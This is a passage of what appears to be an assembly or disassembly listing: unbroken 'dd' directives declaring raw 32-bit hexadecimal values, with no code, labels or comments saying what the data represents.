0B85B2751h, 990E287Dh, 0E4D825DFh, 2B6F8EDCh dd 813B60CFh, 6D9B02E7h, 0D7F712B4h, 0D2679040h, 55ED5B2Fh dd 89448496h, 74490DC5h, 0CF0C3126h, 2F60EBB1h, 841CFE8h dd 94140CA0h, 877427ABh, 0D460F57Ah, 71E5D088h, 4F31205Bh dd 955BE980h, 0DF217D69h, 2B2BD4C1h, 905C12E6h, 924E6C07h dd 0AE78720Ah, 899F6775h, 705C829h, 0B4BF4077h, 0DCC801Ah dd 184AF4E6h, 64D1C713h, 0E77FF74Ch, 7C2D7B8Dh, 0E89368BFh dd 626EB4B2h, 4E0165D5h, 943AF587h, 3E44EB20h, 0A1D2CC60h dd 661BDDE7h, 54B8F9ECh, 651E3F74h, 0DAF44298h, 295F0702h dd 28A566CAh, 4874D1D0h, 4F0A3B72h, 20BCD529h, 0A70CC308h dd 0AE18E92Eh, 0F333475Bh, 4DB73820h, 6846A0DFh, 0A61CB02Fh dd 4278610h, 625E26EFh, 0F49800Ah, 2B092710h, 9A4DF5E9h dd 0C0A7042Ah, 2F1B62BAh, 0B16C7B57h, 82BAC2B4h, 8DAEE19h dd 0C6EE4046h, 660C000Dh, 0E9F389AAh, 0B29DFCDCh, 2FB504F5h dd 0F810DEF7h, 0D5011D7Dh, 0F44891C9h, 44334447h, 500E2D1Eh dd 26EB25C5h, 3FE9F654h, 77A2AA31h, 0DAA0793Ah, 5DD2E930h dd 0C80DA12Ch, 5485EF68h, 5E28FF16h, 0F8D04BF7h, 0DF0CDA06h dd 8C406432h, 0A9C7A606h, 89395357h, 0C7847D38h, 971AD1D0h dd 0D9D7C21Dh, 4675C9E5h, 0F8F72D1Bh, 5763F654h, 354705AAh dd 0FF336B10h, 0C8390A83h, 94C78914h, 0B1B7532Fh, 20B56B69h dd 9040A924h, 6CBCA188h, 0C10F24CFh, 297F16BFh, 16E1DB2Ch dd 30B0C127h, 61E868Bh, 0F2CC2CBDh, 2C32332h, 55684EF4h dd 0B588CB01h, 0C9591E08h, 0ED40EC7h, 0A45AD370h, 85F45AC6h dd 0D39AEAA3h, 0E909C843h, 4CFC162Dh, 795429E9h, 0AD9065F1h dd 2CF50248h, 0D74AAF55h, 20B2158Ah, 52FB0385h, 0DD3FC805h dd 22105087h, 0F095577Fh, 62078289h, 0B3EBF045h, 95C07EAh dd 90ACE4C0h, 8136857h, 12BC7891h, 8589547Dh, 5B0BE320h dd 504AB601h, 3D096BD9h, 54294AB8h, 9082031h, 698DE95Bh dd 200C945Fh, 0B225C95Ah, 403F5E23h, 5DB55141h, 2FF49Dh dd 59EA307Eh, 0FE3EE2D0h, 13D23ECAh, 44EB44F2h, 49FAD379h dd 0AF6BDCEBh, 882851D8h, 0A2090DD8h, 97B201Ah, 0FB11F432h dd 0A10EE8FDh, 2C028460h, 0DB866FC0h, 644FF699h, 0F92D7ABh dd 0A41363FAh, 0E24D61FAh, 240A2329h, 59C9C054h, 0BD5345FCh dd 39E98309h, 0E5772DBAh, 2C18E0D6h, 0C362A0Ch, 0EDC10126h dd 0D070F89Eh, 0F250D6B5h, 0FB44F5h, 49ACBE56h, 0C0E90CA3h dd 0ADB98064h, 2D0744FEh, 5D53713h, 1101FEBh, 80E90FFFh dd 16C53753h, 75B318A2h, 0BFEDCE16h, 84EE1240h, 7645A219h dd 6047FC29h, 5428A5C2h, 404C2164h, 32B730BDh, 79308BB4h dd 596227E6h, 20DFF76Ah, 465BBEA9h, 58346793h, 0C0B5B40Eh dd 23E9DE78h, 186B6C49h, 0EB0B67FAh, 8FF98307h, 0A7612CFFh dd 0E9829A14h, 40DADC5Ch, 57C5303Bh, 87206690h, 32505A83h dd 3A028969h, 0FDD9091Dh, 0D2F70DB1h, 0B55D0F34h, 8BA759F1h dd 0D8275C8Eh, 3E043605h, 0EBE9733Fh, 0BB7F9E0h, 4E7C04Fh dd 99B4E15Dh, 0EF26C42Eh, 0CDDED11Eh, 0E2AC5FF9h, 114DAB24h dd 0C3EA2492h, 0BD2EFA27h, 214A3F4Ch, 87B468A8h, 14A209AFh dd 0BD00685Eh, 0B0BC59F9h dd 0D6FCB7FDh, 0D704925Ah, 9D8B6029h, 4F6E9475h, 7D63E055h dd 5E11516h, 544CB781h, 0FDAA6317h, 43227304h, 7FC25386h dd 85E6D506h, 6A4C5ECh, 1B5BBA16h, 102BBD09h, 162AEDD4h dd 0F04E1178h, 0C84F2125h, 0F89429ABh, 35C0829Eh, 7D7FD8EEh dd 92D79453h, 0FF8A84CDh, 0B4254F8Bh, 841A355h, 0F2BA84A1h dd 7071CBEAh, 176097CAh, 12BFF028h, 0A7A05502h, 0E72C9AC6h dd 93041ECEh, 0EC3D7404h, 0B6464613h, 48024275h, 0B2521D04h dd 0EB8C7AF2h, 0C507EC2Fh, 0E5AE4768h, 0AC467802h, 68158E2Ch dd 4A695933h, 3C3A68A0h, 0CEBF3C83h, 0FBE75634h, 0CE057A8Bh dd 0ECFF31D3h, 2B820BFFh, 8A25D8D9h, 699905B5h, 39EB17D5h dd 41E16F74h, 5E54FE51h, 0CFC9B070h, 7CE9C691h, 0B900B178h dd 28A06DCEh, 2C63E181h, 8BA2566h, 0A32723BFh, 2F02C40h dd 3E80BE30h, 52DE0C40h, 6E05FA20h, 21DB8E25h, 7A25A9A8h dd 4FE61E27h, 0B329AF27h, 0DF03F940h, 5F4926C3h, 0A6FE70Dh dd 762508EBh, 0D50F45B9h, 16979B11h, 9229B249h, 387DE17Bh dd 2BFCD7A4h, 0AB2357D6h, 8101E178h, 5D162E36h, 0D5E1A0A9h dd 4B6601DFh, 152C85DDh, 0D6C5B44Ah, 1AA15F16h, 302D3CA0h dd 79CE66E9h, 6978E7E4h, 51EDCC2Dh, 404A0095h, 687ABA34h dd 8AE64295h, 0CDA84B14h, 0AFDF53F0h, 74E4D74Bh, 0A1D34BA1h dd 79CB8F47h, 655FC4A5h, 558D0A82h, 43C9EC1Bh, 7DA72A70h dd 0A88CE85Ah, 42E92F52h, 0E3B99980h, 277A0639h, 920DB52Fh dd 26EB56D8h, 680202BFh, 0D271363Dh, 604F9Fh, 803CB652h dd 0F128C3F6h, 6A59EA90h, 0CA080F4Ch, 8EEAC959h, 0E249DDDFh dd 3B7F8542h, 78239322h, 0F0F99C15h, 36929968h, 7251F497h dd 0D6651677h, 0FEF7F01Ah, 1BB081Dh, 41810EAFh, 5E70804Fh dd 704FD44h, 0A5BB4E59h, 1B7A400Eh, 4B60097Eh, 5E6D180Ch dd 48F2A155h, 7806A3BBh, 0C30BF33h, 7C27A209h, 76B1DD67h dd 0F6007F4Eh, 6F6853ADh, 6059B427h, 6352489Bh, 80B370B7h dd 9FDBB4CDh, 0BF8B4EF3h, 4AE05EE2h, 0B2BAC19Eh, 2BC1E661h dd 2FD93BB6h, 68E3807Eh, 909C3DEDh, 3FFDC86Fh, 0E691A04Ah dd 0DE953BFh, 0E10108h, 0A4BFD5FFh, 5815148h, 0E36635Dh dd 0E0047CADh, 0AF1C2A73h, 0C413CF6h, 0C2091F60h, 0D9F7494Eh dd 2E9ACAE0h, 0FC82A02Dh, 82AE16F0h, 978B83E1h, 4CDD00FFh dd 0B59D6C96h, 0E0059662h, 2A4B81FDh, 60452F01h, 39245C29h dd 0CAFA1113h, 74BB92D8h, 0D127D1FFh, 9CE00D2Bh, 238C2573h dd 0ED0F06D3h, 682FE06Eh, 995E6BE9h, 0E5600397h, 18DAC470h dd 62F7C6EBh, 38D6E0D9h, 59276850h, 0EEA45D3Fh, 558488A2h dd 0C78491F6h, 0D2563952h, 0CC0D9CFFh, 3526413h, 6A889B00h dd 1D14E06h, 0D07C2DE8h, 303123B0h, 9FBCC2A2h, 0A883F72Dh dd 41846632h, 96A54DDh, 3BCBEDh, 0FE46B388h, 0E33980C3h dd 0FDFDF505h, 8153642Bh, 0A178FE8h, 0C9167F4Bh, 283B0008h dd 0CCB0FEBh, 0D1651E3Dh, 56C88C99h, 0DC4F7DF2h, 53C6F3ACh dd 0E604397Bh, 15A019D0h, 2D836684h, 0E0E95BBDh, 3355CD0Ch dd 0CC2AE07Ch, 5602ACBAh, 0F7605A79h, 3BDA40D5h, 0C46E9DFCh dd 535F541Fh, 0B47BC96h, 0EB72DD31h, 0A69E772Dh, 8282DFE0h dd 64EDF3B7h, 0E3872563h, 0EE81CC51h, 46F043C8h, 7D01FC81h dd 0F3296D2Ch, 0A0081C41h, 4FB1141Ch, 0C6C9B8C7h, 654E015Bh dd 9DE9613Ch, 0DDF37FD1h, 6BC0CD92h, 8D24D3F2h, 68550278h dd 29577D28h, 13C4FE42h, 0CBD7E258h, 0C06FFC53h, 65C8753Bh dd 0EE58100h, 5123370Fh, 25680A52h, 8E4EA42h, 1F28BBCBh dd 4A06EF1Ch, 0FE803197h, 301573E6h, 0F26E62FAh, 0FD39F7EAh dd 2AACC01h, 0F441D8BDh, 0E93BC845h, 290BB599h, 0A8994575h dd 319E0A6Ch, 9E12A80h, 237BD2FDh, 43BF24B0h, 0F7E297EDh dd 452D175Ch, 0BB2EB05Eh, 5030064Ch, 6B2F8E0Bh, 0B01F9228h dd 2EB80943h, 8148AFh, 402C3C70h, 0D11E59Bh, 24C2A277h dd 0D7C303FFh, 4166F300h, 297612B6h, 0E9080182h, 7C93F388h dd 4F5ABC58h, 4F7704AAh, 4FBA98Dh, 5AD38897h, 0E3C0B680h dd 53661407h, 854EEDF6h, 0FED3E1A3h, 0B07F6B75h, 7C8850F3h dd 2803B7DDh, 0FA844BE0h, 9C193E2h, 2CF8E9C2h, 42B902FAh dd 77131721h, 67AA19A0h, 0FEEA4431h, 0C482F441h, 1E6D5702h dd 889A8FFh, 9FE8312Dh, 59F7007Eh, 0C1D8F740h, 0EC02E826h dd 96B5827h, 3165F56Fh, 0EC0287F0h, 0E96B9B83h, 2BF6BC4h dd 51CB8784h, 53D83868h, 0BC4ECA98h, 4014F95h, 125E5BBDh dd 32F2CA7Bh, 0D5D22E5Ch, 0E4F121E8h, 4FF96914h, 0F21046Fh dd 17AA55F2h, 0F60500FDh, 6F34453Eh, 6E6C11Eh, 31638679h dd 91E16E4h, 7E4B010Eh, 1CC8086Ah, 3625801Dh, 6321DFBBh dd 89FB3FE9h, 0C221AAh, 6083CA12h, 10F76AFh, 4C5ECDF2h dd 3F91E977h, 0CF2CDC07h, 0C66D2072h, 0A5A0A083h, 553C2062h dd 0B87AE919h, 17D980D2h, 2D42536Bh, 0D5AF206Dh, 84FFED9Fh dd 0FF235568h, 9ABAD064h, 59476025h, 0E1787A68h, 5087A77Bh dd 0E14D73FBh, 0CAD7321Dh, 6FCB5158h, 0BFE38EA4h, 0FC9F9AF3h dd 420A1E32h, 927F9480h, 36F803A1h, 0CBAD140h, 13F53BFh dd 1C170220h, 0F8A5511Ah, 4EB8EE4h, 0B9E988F5h, 2842FD32h dd 954E9954h, 201B18B8h, 39D1D3C3h, 0C4367C27h, 0EDF3F5C9h dd 0A474AE12h, 1411D77h, 0C438F86Eh, 47EEE790h, 9218DFEBh dd 9540435Ch, 402410E0h, 0C20255D9h, 4914506Ch, 843EE5Dh dd 8F1E055Bh, 82761C4Ch, 950A712Dh, 0F1CE2D01h, 0B86F74EAh dd 28CD025Bh, 405A7325h, 4A7D7B0Eh, 111E80F7h, 0B6E0533h dd 7A5050C2h, 0DD3B0992h, 2F0F291Fh, 0EC444509h, 0D2EE8012h dd 5C362CBEh, 5D2D2094h, 4365E220h, 789529B8h, 5953305Ah dd 262FC3B8h, 28035A2Fh, 942F082Fh, 0AB7AB573h, 0ED5FE91Ah dd 6E68D75Fh, 0EE2825EBh, 777AA121h, 291BC809h, 58AD7EDFh dd 0AE14F3C7h, 4BA3FA10h, 0C80E2A5h, 426F049Fh, 6C5ED5E9h dd 0C7106EE3h, 58012F15h, 104DD83Eh, 82C31D8h, 4A34E458h dd 0D68AF4ABh, 6A6CB24Eh, 7968175Ch, 0C0C2344Bh, 0AB3C08ABh dd 9B5D5B28h, 54C3FC03h, 0CEA7E9A4h, 0ADBF002Ah, 56374A75h dd 650439BEh, 0D6F7511Fh, 0C66E90BEh, 0EBB0FA36h, 798A0958h dd 6002CF09h, 24DFEA3h, 0C7470BBh, 0E9410BF4h, 0A1923396h dd 1F5A06C3h, 85BDE1AAh, 0B3AC533Ch, 0E86DBB4Ah, 0D8B2913Eh dd 4C53022Ch, 943890A2h, 1D68073Eh, 0E55F0977h, 3E713198h dd 0E637B171h, 9D06A7Fh, 0F724EF57h, 70D09B8h, 1C825F41h dd 0BD0059EDh, 583F1905h, 450FA970h, 0CB86026h, 0F37241A3h dd 236FAAA0h, 33ABA42Eh, 0D0D0CF12h, 5FE34D32h, 806AF14Eh dd 0A9285A12h, 97B7E9CAh, 5412EFE2h, 71A7A1F4h, 354CE6D4h dd 2E698280h, 5BA80999h, 0E9F807D3h, 315FAC94h, 2889CDDh dd 49187431h, 0C2D46C62h, 526E790Eh, 0A526D00Fh, 0C5121F91h dd 17066918h, 49443023h, 0DDC8370Eh, 46E95409h, 0C036CB70h dd 0B0368D04h, 5BB640B3h, 0A42CDD94h, 0C80D17BEh, 0FCD308ECh dd 0ED3CC9BCh, 0BB5F9743h, 8C5A34CBh, 54E06812h, 6E1CB995h dd 8C51C62Ah, 0B45FF92Ch, 0D701E928h, 0E938814Ah, 0C581E5C3h dd 6C07CDEEh, 76C13BF1h, 0DC722611h, 2E10BFD0h, 2A58263Eh dd 0E4C27D5Ah, 5E44F857h, 0F66EC8C2h, 4E7A281Eh, 751008C9h dd 0A880061Ah, 3CD9224Bh dd 9C092798h, 0FD25E20Ch, 4A1C8C16h, 40DCAB0Eh, 0F59D0541h dd 0CB6EB9A4h, 2A6C0921h, 0E36780D1h, 4CA474A6h, 37049034h dd 8026F2ECh, 9E736DDDh, 22502AF9h, 15B1D08h, 0D8ACE9C9h dd 52550F05h, 3B25DA89h, 7A98EFAEh, 0C06312EFh, 0BF01A06Ah dd 5D0705B5h, 0CCFE9C65h, 0CA41DA59h, 7540057Bh, 0CE81008Dh dd 32506373h, 0F66715B0h, 0E0645222h, 0C53E34B1h, 0D6B701E4h dd 0F8C1BF54h, 5881BCA5h, 48D2E22Ah, 0B5C620ADh, 0E817FAD4h dd 248891A0h, 4288873Ch, 4E5DBC02h, 5FBDF68Eh, 0DE09B8BAh dd 5E55804Bh, 0EB29C7EEh, 1332B390h, 30CAE825h, 4842C9D7h dd 6E102FFCh, 0C20113A7h, 0BBD065FBh, 0FE4E8B9Ah, 0FD9F630Bh dd 0AFAB40B0h, 0C45D9ACEh, 20F32883h, 4D74A7DDh, 1B26E961h dd 3F98592h, 442A8A7Eh, 74CC2FCh, 0BE4F05Dh, 66524655h dd 4B48A8F0h, 0A94E0415h, 81AAD759h, 7C17FCBFh, 58E0CB34h dd 5615B599h, 4BE9DB30h, 0B3B4A8D0h, 386082AAh, 404B8850h dd 0C37CB9B2h, 4EA2E903h, 8BFDBB2Eh, 0B94AB110h, 100B0578h dd 0E1002FB5h, 127C1BDEh, 0DC8EA358h, 2804AC12h, 1D27C401h dd 69165DB2h, 185AAFFCh, 77FD5F92h, 0DEABC043h, 0BCD4C4EFh dd 0C25ED84Fh, 0C48080A0h, 74514748h, 61351A5Bh, 4041D388h dd 0D02768E1h, 0A78DD92Ch, 0E28BDDE9h, 45D6737Fh, 1FF3EA9Ch dd 458BFD40h, 9DF7D8FEh, 308386B4h, 0D96F207Eh, 1781F3E5h dd 0D45F5DEEh, 0D657ED17h, 30B5609h, 1F08D49h, 0E36AE616h dd 836F27FAh, 0AF24C4F5h, 8F2261E6h, 48686609h, 43E8F749h dd 0C7178001h, 0E40428F9h, 99FC6975h, 0ED64BE92h, 21BE00C4h dd 390F2CA6h, 8968CB77h, 4B74733Ah, 5EC93475h, 7B02E12Ch dd 0EBD259E3h, 32E9C2DCh, 0C4B9940h, 163C7B75h, 0BF5F4038h dd 1A2364B5h, 0A24D5FF4h, 19FF486Ah, 0A9B51283h, 0AFC7136Bh dd 0E1545DDFh, 380A5FDFh, 14B5EF7h, 67E430FEh, 7E027A79h dd 0D9E95B5Fh, 26AE45BAh, 0B5F03B5Eh, 0B52A15Eh, 0B4BF50E3h dd 1077FA30h, 3BA52B5h, 5675672Dh, 0B2F31B9h, 4FCA5029h dd 7A69B577h, 12F497E1h, 7C1D42C1h, 0F3BEFD17h, 290020A8h dd 0E95559CDh, 0A293659Ah, 6811CE31h, 10164E76h, 817AE8C2h dd 7F36B729h, 43E6FBD1h, 9E409058h, 0E46AFB70h, 7276DC5Eh dd 0CC01643Ch, 2A084100h, 2CF1EC2Ch, 0A050E7Eh, 82EEC0EEh dd 30776FF6h, 0EB63E8D5h, 23491FBh, 677D5693h, 4E054960h dd 0F920B590h, 53593125h, 7EE23510h, 4285ED43h, 0F261DFCBh dd 0FDC6DF8Bh, 14B2A843h, 2D71E7F7h, 14E98D7h, 95E918C3h dd 0C15F52E8h, 50007EAh, 4C547B75h, 1E32E02Dh, 0C24852F6h dd 72272951h, 7B128389h, 87108109h, 78B26CE9h, 0F566BF80h dd 0CBF0CC1h, 8A307A5Dh, 1BD917CFh, 0C7010E17h, 0A936FD81h dd 0DB58D229h, 6BC3D20Bh, 0DCF08482h, 0EA9BB00h, 0D2955A68h dd 9A3C20D0h, 16DD709Dh, 0F071D2C8h, 772D22D2h, 0A03DD434h dd 535F4A08h, 51504FE9h, 0BB4874C4h, 94E0DBC9h, 8D109F1Eh dd 9C243793h, 7A0DE6Eh, 0F0895917h, 3BD14C08h, 210B2ECCh dd 2B7A5FF8h, 7993E227h, 18F64BA4h, 9717AF88h, 4EC1FC9Fh dd 419EB0F4h, 39F33C88h, 357D8481h, 0CED01BFCh, 0BDF79FF0h dd 0D2944B8Bh, 8B9D39Dh, 84247D9Fh, 907360Fh, 0CEA7684Ah dd 1A432C6Fh, 45F6015Dh, 226BA80Eh, 7F146137h, 6B7178DBh dd 0F266867Bh, 4DD9F42Eh, 0E4DB93E2h, 3B7E2708h, 0E869119Bh dd 57E6DF1Ch, 0DFA6F825h, 68053016h, 1F3260C0h, 2A50C408h dd 9619DE2h, 277A321Bh, 0B94E8B49h, 0B97E29C6h, 0D4A04E1Dh dd 0AB6182B5h, 0FCCCC9F9h, 0DC18865Bh, 0FE08D3F6h, 0AD6830C4h dd 0B048E96Fh, 5320C8ACh, 5E5B13C0h, 80A6E256h, 0E268D0F7h dd 0FB9C9D0Eh, 97F3C520h, 5EEB0EC0h, 5DD74717h, 42502FFh dd 0D0802566h, 4AD07B57h, 0E7E771B7h, 51CD7045h, 0F4FDD41Fh dd 0A80466F5h, 0EB29CF48h, 0A9D8BAFh, 0B642E959h, 6803DCADh dd 3F875962h, 0DF5B0D22h, 3B5D9761h, 79A9B117h, 0C516E391h dd 0B4475211h, 4A16597Fh, 0CBA6998h, 0B87B05A4h, 0E851790Ch dd 17B1F2CDh, 9134B2Ch, 50DB546Bh, 0ABB252C0h, 0CCF25080h dd 318860E6h, 0C6CF89EBh, 40A0514Bh, 0CB440105h, 31E9D46Ah dd 5AFC06F0h, 2D2C80C3h, 2E377D5Ch, 45C23061h, 2FFDC576h dd 17043EDEh, 7DC472BAh, 4CFB17AEh, 0E9682902h, 505DB4Ah dd 99ABC083h, 2B9C0906h, 24E92D68h, 699EA665h, 0EB55BFA4h dd 0E916DFE6h, 3C46B152h, 53F50E95h, 98F53749h, 0B5ADF93Fh dd 4D71CBFEh, 0FF2C001h, 0B0532E66h, 5EFA7FF7h, 0CC11A20Ah dd 2D683957h, 87B20BD4h, 3E0C40C0h, 5BC949Fh, 0C55C02CBh dd 0FA5EFB7Ch, 110C5E66h, 0F068CE65h, 89671891h, 13E9CBDEh dd 0FD980FB2h, 1A28960Bh, 6726004Ch, 0B5055CC4h, 0EF06F47Ah dd 3E586A3Ah, 831B9812h, 2F1C0608h, 0B746BD64h, 95273B98h dd 3FBE9301h, 0C6BA13FAh, 0E28C31ACh, 9677D821h, 1805A0CDh dd 0EBC85A31h, 6FBD8D40h, 1F62D338h, 5B9514Dh, 803CB227h dd 2110A53Ch, 125A264Dh, 4DAC01E9h, 30F53325h, 15550E4h dd 3E5DD868h, 68A7E93Bh, 2535051Ch, 6CB19210h, 1B0ED2Ch dd 0B724E9EFh, 0A3813038h, 94C7B35h, 0B16846Dh, 51420912h dd 7EBF6200h, 7ABF0DBEh, 1F41E62Ah, 0CC7B5801h, 0E3F514F7h dd 0D87A700Ch, 13112255h, 0FE450ACEh, 0E9CD6941h, 8A504AA2h dd 0F24E03EEh, 9DBE70F2h, 5FA5E95Bh, 0E92FE49Ch, 0B18C48CDh dd 0F1801E0Fh, 0A8A7FE6Ch, 2305E140h, 0A5792728h, 0DE727C0Eh dd 0FEC9C01Eh, 0BF0FCF7Eh, 0D9F7BEE0h, 2AA216C1h, 2E804C44h dd 47994E43h, 29FB29E9h, 2C620551h, 0BAC1798Fh, 322B7731h dd 5BC9A28Bh, 0BBA74709h, 0D74BC356h, 404569B6h, 2FADA92Fh dd 420DD92Dh, 5B04F859h, 311EB6E6h, 0E14A5D8h, 0E9295467h dd 7C895156h, 80DEBD3Ch, 0DC064AC2h, 39546E1Eh, 0E7F55517h dd 90387B0Ch, 25AF5AF0h, 7EA3EB04h, 1A70DB89h, 0B10979Dh dd 7D71CCE9h, 449A1ABCh, 6370FF10h, 3A12E50Fh, 0C0B8A92Fh dd 0BDE468FBh, 0A8FE32A3h, 5AA61558h, 2D0B38Ch, 0E92BD445h dd 4ED17AD3h, 0AF027DA5h, 8003A2DAh, 0F30600EBh, 0FEDBF6C2h dd 0FE9F50CBh, 0ECE9D840h, 4F8DF259h, 0A17B20E1h, 0DB4A7E9Ah dd 3B883CEh, 885359EEh, 0E9FD93F7h, 757AAC2Eh, 44F3BB22h dd 0A28E11h, 0EC106AE3h, 0FAD3F71Ch, 92C74BF6h, 0F9583482h dd 27AD554Eh, 2E3EFCD6h, 75A86B4Fh, 91810324h, 0AAB5C61Fh dd 0EAB490BCh, 3CE91131h, 0FAD3842Eh, 411A2FD8h, 0F3F06EA6h dd 0CAA25E75h, 0ACB516C3h, 2568F4D8h, 98E65EE6h, 0CA6FC803h dd 94B9E902h, 3D1DE7BBh, 905D400Bh, 0E2C35F64h, 0CC144F80h dd 55A32D8Ch, 0E08F32A2h, 68053EF3h, 445341EEh, 906B44A1h dd 0CF6AE985h, 0F2ADFE96h, 0A9209A0h, 0A0558B5Fh, 0EE9CF79h dd 0C769D2CEh, 0A8499F66h, 0FE27F566h, 0D19E3308h, 402EBAA3h dd 6107C3F6h, 0F4F81517h, 0D4F4DB4Bh, 0BC094EB2h, 2DF2A6F5h dd 17FCC930h, 0D466F173h, 0DB774F3Ah, 0C4569077h, 0E34F83EAh dd 0E5F85612h, 0FE7F25B5h, 9A5064B4h, 0C696BD64h, 55685109h dd 0BC0AD673h, 0CE50627h, 90F05027h, 0DA8188EEh, 794C953Ch dd 1C979D2Bh, 0C37A973Dh, 0AC6A9C8Dh, 3BF4C56Dh, 5758B132h dd 90EFE77Bh, 6796CF12h, 5E673133h, 0D2FAF407h, 6A1DDE97h dd 3C3E016Ch, 604F6790h dd 7D12C9BEh, 8F352AB6h, 0E011A2FAh, 64478EFh, 0E7C15F29h dd 3540608h, 532E90C2h, 689D1B14h, 2E187FE7h, 0A983DB8Bh dd 0E82FA094h, 8F53B26Eh, 504AE94Fh, 0F6AC209Bh, 5FD80125h dd 0C8B8CEBAh, 2B95DA2Ch, 2D9DCB8h, 40B55044h, 610CD75Ch dd 3BE90C65h, 66271317h, 0AEC18EC3h, 7B223AD0h, 7F71DD50h dd 4E02B1ACh, 824A1F30h, 540B13E0h, 3A4390Eh, 0D1121294h dd 7D7A881Dh, 0C9FE1E25h, 0C001CB1Fh, 0D3F604E3h, 7FC2C130h dd 0B4869730h, 2A40407Fh, 75BD0FBBh, 0C946459Eh, 0C09FF946h dd 3E14E3EEh, 0F1AA1A5Fh, 327997F1h, 6F165E4Bh, 485BED80h dd 45B80703h, 0F0828D0h, 72826859h, 8636CA39h, 0A0BE458h dd 0E02B62E9h, 2C7BCA5Ch, 2DF55C0Dh, 5312197Eh, 86086DBEh dd 0A178E9D4h, 6FBA052Ch, 0AA77BC4Ch, 9CBE10C5h, 80A0431Bh dd 4A0B9EB1h, 601EE998h, 2055E1Ah, 0F24E4FB3h, 38C1C189h dd 5750026Fh, 6858D9D9h, 9D7B4C21h, 442155CFh, 7F70B508h dd 71880680h, 0E9113B9Ah, 0BD1FDE59h, 68A8FD42h, 8FC20287h dd 0EE89978Eh, 0D0F95A93h, 5B80237Ch, 34321AC1h, 833D2FF1h dd 7CC2DE22h, 0D5496168h, 7F558219h, 3B0901C0h, 0F2811A06h dd 94110D95h, 99DA556Ch, 4234847Ch, 0AE806914h, 256093C2h dd 12F77A4Dh, 8E628067h, 0E62EF443h, 0A0E35ED1h, 0F30B81C4h dd 0F6E63BB0h, 0CDE0295h, 58057C2Eh, 5543CC80h, 0E6D6A0BDh dd 0EB31283Bh, 4CF30994h, 2980390Dh, 0E1B6E9DAh, 7C76EE95h dd 71743748h, 47EA62E3h, 9E8CDB48h, 5F97A82h, 17DD7175h dd 3F930931h, 6A5A7F41h, 62AAC865h, 56C2530Ch, 5C9DD7F0h dd 3FC55921h, 0E5250EACh, 9A5A67FCh, 0D7AE094Eh, 0EE40041Ah dd 65B715ECh, 45071645h, 0FA2D5E02h, 0E912E68Bh, 2DCAACE6h dd 62FDD358h, 90C71DE3h, 0B39F4C8Bh, 0FC1BCAE8h, 535203EAh dd 0B6A0A5B7h, 0C65EFE12h, 0E91650ACh, 298D8233h, 5B2DA57Fh dd 0D55C4293h, 84DDD7A0h, 0D618C675h, 5EF4E277h, 4C7A0541h dd 9836E0E9h, 0D3E86231h, 0EF491C78h, 91B99775h, 52FA4A4Bh dd 40AE13F4h, 227AF118h, 0C29595D2h, 0E5F85FD5h, 6E49BE02h dd 5657586Ah, 20DD632Fh, 138D0A48h, 985D28CEh, 4AB05040h dd 5B34C0FEh, 9940AFE4h, 0AD2C1D05h, 372D0175h, 684F517Ah dd 0F61FADEAh, 287127C3h, 5830F6ADh, 5C81C131h, 0F0E0D2D5h dd 0C0BAAAEEh, 819D3DDBh, 5B459E59h, 2879D888h, 0A2EA5B14h dd 0F1971843h, 7065682Ch, 0A5EB510h, 0BD34E9E7h, 5B5741EAh dd 6B41E860h, 0C009BE09h, 2EBE2B8h, 0E964774Fh, 0DDA91352h dd 5810697Ch, 68068848h, 0D4446617h, 31EF3EEh, 0AAD676D3h dd 0B8B28CBFh, 561D900Ch, 5B794239h, 419BDDD5h, 64F82D70h dd 9C41C5CFh, 8A15207Ch, 0FF971852h, 0A9474795h, 1472E2D1h dd 89DD09A0h, 77608B33h, 76689A21h, 59E33B3Bh, 5D45A52Fh dd 9F085196h, 56C02529h, 0DF303AA9h, 27D80C17h, 3F345022h dd 52054E3Eh, 0CE5D00ACh, 78C7036Eh, 9C0BF6ECh, 0D539DC6Dh dd 0EC6C8E8h, 4BE8DA27h, 6CDE229h, 65091E47h, 6374E51h dd 0CF3B419h, 0B136D5C3h, 8409F322h, 70B9A893h, 0C4A120A4h dd 38C7B4CEh, 2806EF8Bh, 9BBD7F7h, 4C1D482Fh, 0B2AE08F7h dd 0FDBB6C09h, 0AC823CCCh, 0E9BEE875h, 72C89D02h, 0C03CFCB5h dd 606E4EDh, 849F385h, 9F324EB7h, 0A42D2460h, 44994316h dd 0B71352ECh, 0C9D8BEA9h, 0A0C741F6h, 8C2786F2h, 0B35566Eh dd 0BC4E3853h, 0F9E77825h, 0B3498BACh, 5D7846DCh, 6AC2E1D6h dd 0A7D4C50Ah, 0CFB7E5C6h, 91B18C84h, 599DCD79h, 0D0E565E5h dd 2B2AD37Bh, 25A03C5Ch, 2829F1B6h, 887C5CE9h, 994D3481h dd 21F06E27h, 79560E35h, 0A6A0370Fh, 0E93B2214h, 0BBB455Fh dd 0FF74F55Ah, 1DF0BC15h, 0D9DAF9F7h, 0C0D1750Fh, 0B9A4E44Fh dd 5390E4EBh, 0DE67C0BFh, 0B625975Bh, 0BAF0D03Fh, 0E1092078h dd 89D2F759h, 0C29B131Eh, 17FD40DAh, 7DEE2C5Fh, 472F01F7h dd 1095086h, 0FF243668h, 0BCD2FE9h, 0E6A0F047h, 0A9F3304Fh dd 5D35A392h, 3B40859Dh, 0A7D92A9h, 7F0951C9h, 0FCE90208h dd 0C8C04562h, 0EEB1CFE7h, 0F6EBD040h, 4F8690D3h, 0C2897488h dd 2B6A17F7h, 545A4BDCh, 0C9AD0979h, 70C40390h, 0BA80F99Dh dd 531C6809h, 0AF4B2866h, 28353000h, 39689239h, 2C92E8D1h dd 120B34Fh, 38C83EFFh, 4C30F021h, 0E405B799h, 7B15B15Fh dd 1425F7B6h, 0D25A2D59h, 0CBC520C1h, 9765529Dh, 3E37A1F1h dd 660F858Bh, 407DA5AAh, 2A9F5BCh, 1FEFD24Bh, 309F50EAh dd 183F665Eh, 0F9464FAAh, 570202E1h, 635B40BFh, 0E35A48B7h dd 54A7210h, 5217850Fh, 0B3B946E8h, 0B96A6408h, 1F3E37B4h dd 9D5584A6h, 109BEC47h, 0D04E2D20h, 36FF3ACh, 0BC5F5134h dd 35E0708h, 0BE2D5C08h, 53424604h, 0D0FB1B6Eh, 33C6E607h dd 0FF736B2Fh, 0B85A8684h, 0EAF35B82h, 0AB3BE9C2h, 72C6B1A7h dd 97E1D67h, 1E230760h, 0A410FA33h, 957BF00Dh, 74A55A71h dd 0F1DDDAB2h, 8ADF204Ah, 259DD59Dh, 392EF8A8h, 0F5AFEAE2h dd 0F9F18CB3h, 0C18D979Bh, 249C8AAEh, 6886FAF7h, 20153637h dd 5C48E6AEh, 0DAE4842Ch, 